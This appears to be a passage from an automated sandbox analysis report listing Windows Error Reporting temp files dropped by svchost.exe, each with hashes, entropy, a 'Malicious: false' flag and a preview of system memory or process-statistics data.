SHA1:	0063FD8A1CF8B9E2A199881A85720E292EC1714B
SHA-256:	5FC55DA1A4DD60E9FF76B798D3427AA7921FE29356D192364E6F5C3FF6B3492F
SHA-512:	6D16EB43033B7CADF0330238484318B6A7DB0C12A3E4E3C9C3D02016F75DCA979FA5AA7CC6D46225286B0739953C7BCED7DB5309BE6EA621F148B0860424E3FC
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER219F.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.702016322774474
Encrypted:	false
SSDEEP:	96:TiZYWqnEnQzUYHYUiIgW+FHvYEZuCCtKiwB3fW8BwAoalagzjMARaIe1o:2ZDlg2dxmCHzagzjMARNe1o
MD5:	B3114C06F7F06B29E3265BAAAD5DB7BD
SHA1:	B103770C49004376CEC60D127648C206A08B841C
SHA-256:	41B11F8058C7FC6C6AEC97FAF899A44B7A53944BD26AEB4977A593E63EFABC64
SHA-512:	C78E0F2B471FC87049AFCDEDC4C41D48AD456E131BA7BFD972C6BD45043CD0AF1362DFA88F67605C388258484274B4B9F61B82EFDE16DF4BDD809D2D76BF433B
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3FC.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	107304
Entropy (8bit):	3.033610066766773
Encrypted:	false
SSDEEP:	3072:89FlYn48HA7og2RMfCAhZBQxNK+w+9+y+5vovW8657pYTsJqYvIwZNRuNQO7:1
MD5:	F13C88FCB7A50DC582C0ECF726D7A855
SHA1:	3F44A25EECB9121B2968F9E7611FB3BEBA1A37FC
SHA-256:	EF4DCA74A0F2A34FB11A34AB692C9DEAC13C9B0703A6FEDBDF39479F48DE3607
SHA-512:	202F7750CFD8313BDB3AF11C2A212F89AC7F63D300775CBB2056A4E5A665DF4E728B9E40682A64B284383BCB25348C907490443C35A570BE3940F2290F4D19D4
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6DA5.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89842
Entropy (8bit):	3.0439368121046897
Encrypted:	false
SSDEEP:	1536:lKCDnw9Xvf4ZAhXw98XSHxRx8Jj14aq7MUojne+X+O+S+5h+V+mv8+k+4+p+R9++:lKCDnw9Xvf4ZAhXw98XSHxRx8Jj14aqd
MD5:	ED49A2D31E061944F47B860BF3BA0C34
SHA1:	0C66B2FA7AB38368EED432DA4F7D825367ACD3DA
SHA-256:	24BD3BE40709BD24DA711D4F269499015A864587E88179268FF4D1A3FAF011E8
SHA-512:	0CF00EB5F396E1B625B9BCEF3CFFF0D48C4F466049696F9B7595D9A4E905B2CC6C87F1EB3B56AE5D9261AC6614C05F004B6BBB351CF31073A3A4FA6825BF48BE
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6E81.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.699049989281891
Encrypted:	false
SSDEEP:	96:TiZYWVpNJ8rYzYAxZ69HyYEZQo6tEi5y4qWVwIzYrK2azzjMlR7IG1R:2ZDvakbqFzyazzjMlR0G1R
MD5:	F3A2CCDDFDBD69ACF11665630A5B69A9
SHA1:	6311859B0C85C0FBBA187E7135CEF689F1FD646D
SHA-256:	E39D941F9B1D56FB41B3234BECFC76573B88DD9ED4692DFA313E85A88EFF3AC1
SHA-512:	F6B5EA01A2AE5BBBE6BEE4E2793DB406EDA8CB7E6582264740B574F20CCE98F615FC237FF1B0DFB41A2165BA242F6F28989050DAE1B0312413E3B2134289E9DD
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER71CE.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89784
Entropy (8bit):	3.0444986574902906
Encrypted:	false
SSDEEP:	1536:WrN43J9XWw4ZAzY19RXAexRJXj1yaRyMUbjne+X+O+S+5h+V+mv8+k+4+p+R9+v3:WrN43J9XWw4ZAzY19RXAexRJXj1yaRy1
MD5:	54B727AEE254D17D2C9462CCDBAA20A4
SHA1:	AC91FC9792C6628754E06FFA4A9D08284C06C584
SHA-256:	F0E3DCDEF4E7A9422BE352B3C20662BB34555033A97CC9332E54DA74CDCBA89E
SHA-512:	8C0E6DECA2F7634C533BAC70C4F534BF5591D2AFE747780122F938A5F8A665D4A52934DEBEA38F2219A679014FED5D7A0556D40086ACDBF291AADE025B37E02A
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7420.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698978917144712
Encrypted:	false
SSDEEP:	96:TiZYWYqfqHvY1YsZlHnYEZPt0tEit4ZW3wN11lKXFaOzLYMK1RiI61R:2ZDASll1POaOzUMK1RF61R
MD5:	FC5A16321C9EC9472A9025DA8F575CAC
SHA1:	F1A9C78CA6B6EECF53E9A173F412EFFA290E1B21
SHA-256:	AE9AC1BC3A3D7485DC5AD8E9EB4F6622DDB46EB56AE9DCB6D1293AB58592BCAC
SHA-512:	21947FF1B8D9A37F19EBE30136FBDBF1902DE0D0FAB2BE85E028E4C831A4052C7349DEA1238C22EFE9769DF8D9EFDB9516CC42318E420AE63D0CD3A206546668
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7F4D.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88390
Entropy (8bit):	3.0475156770879566
Encrypted:	false
SSDEEP:	1536:ZuDStm6m0KZk2ix9FX9ex+GHj5Damlwywjne+X+O+S+5h+V+mv8+k+4+p+R9+vvd:ZuDStm6m0KZk2ix9FX9ex+GHj5Damlwp
MD5:	E4064D86DF16A9DD63B28E8A61DC3649
SHA1:	CBAF2429E54070BB1DE41271DD25B9FB384834EF
SHA-256:	05814171E0BF12C4D823455258AD52C940799C5976EBF053C882ECB21E5D2EC6
SHA-512:	8E00D80D173F5F713C25548D117BBDFD389C2505A0B1CF2AEF9F418B9091609BAEEB0C3FA271EFED4263471BD53A588C69CC1EAC986093F66947DFAB6800DF79
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7FCB.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6995203900341624
Encrypted:	false
SSDEEP:	96:TiZYWYKKl+M2yYQwYNZI0ZHQYEZriltEic+4SW3wBFc0ilUabzPMSRRIj1R:2ZDoTqUiwNabzPMSROj1R
MD5:	C9FDACA13D1989B3250EA3BF72866B5C
SHA1:	EE80559392CF68079072BD1927141162E1D7959D
SHA-256:	AE8ED455591B6CF1CEA31121608B6C9F47B17CE71417621C63A45DF989889883
SHA-512:	AB858DFBD7334D31AF1EF575CFA504FCC20B263BF93DBCD7C046B460E48696F47EF06CCB51A781C37B3B12A6DFB3E579E8FDAB027D0AB18840813B2B1B20A3EF
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD416.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	81944
Entropy (8bit):	3.051683854439897
Encrypted:	false
SSDEEP:	1536:E41Vwe6ZNLfPWkZj2hTFtpGi2Ij1n70Yy/Zh7b+p+H+P+5s+O+pvC+rP+6+6+Qpr:E41Vwe6ZNLfPWkZj2hTFtpGi2Ij1n709
MD5:	9945A3A4730CAB683AC7EEA9637E9C0C
SHA1:	5AF85874DFC1B8D9DEF0EEB85C4C0AC8A7A654A3
SHA-256:	9D57F5B42FF6EF12D1C3D239D2EC9C8928B8159CE43B8D2C1E69347EF29667A9
SHA-512:	A789544398A03FB7C8EFE7EA5DF340086E14ACDCA70F433778A55DF8C23811E68905F5F24803DCC075EABD84FCB53335CB56577BC529501D44829573D16564C4
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD44.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6945222036497554
Encrypted:	false
SSDEEP:	96:TiZYWGtBAjYRYpWJHaYEZtbtEia48WAwE9hTUcabSz6M8RnIG1U:2ZDT244PXaWz6M8RIG1U
MD5:	4D3A9EA0C17A23081B7E46C59308DA75
SHA1:	D97576AEAD16CD430D5EDEBE2E4CA4B356EF72FF
SHA-256:	B43DFA885262E485105E9FFB648ED14F609C8F7246C04298A80F5312334691CD
SHA-512:	424BF0B557C84E38D5E4563EE201C60EABD268EC406D0D1058988D46664C5EF768ED1113A3984C0C5879290EBC5E587698B04CC32183D307113B7D2D3FBCEF54
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD494.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.699354515124424
Encrypted:	false
SSDEEP:	96:TiZYWVf993YRYaZYH+YEZidNtKir3mWGwZ3qEZaEzflMiRHIq1o:2ZD1m2dXdZaEzNMiRoq1o
MD5:	DAD26A863290D0956D72EC94515BA240
SHA1:	CCD4A40345CD648541169447E66ADCD394ED77F1
SHA-256:	A75067EE0CE76885F2B07BF97BEDFD9322BB5E7ACEEB6005DA0CF23B515FA463
SHA-512:	94AFA70037912BA6A549AF48ED8D59863949B5D4BE4B033E064A7C66376FC058DAB033B0A7EFED3E9C9586540F777F07AAD9093A934564C7A823614D0587D3F1
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . 